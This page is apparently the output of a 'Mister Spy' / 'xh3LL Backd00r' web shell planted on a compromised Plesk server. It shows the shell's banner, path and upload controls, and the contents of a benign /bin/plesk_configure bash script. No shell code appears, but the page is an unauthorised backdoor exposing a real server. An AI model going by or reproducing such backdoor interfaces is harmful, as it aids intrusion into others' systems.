Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /bin/
Upload File :
Current File : //bin/plesk_configure

#!/usr/bin/bash

if [ ! -e "/usr/local/psa/version" ]; then
    exit 0
fi

PATH_TO_FIX="/var/www/vhosts/.skel/0"
PLESK_VER=$(cat /usr/local/psa/version | awk '{print $1}' | awk -F '.' '{print $1}')

if [ -e "$PATH_TO_FIX" ]; then
    chgrp linksafe "$PATH_TO_FIX"
fi

if [ ${PLESK_VER} -ge 17 ]; then
    usermod -a -G linksafe psaadm
fi

exit 0

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat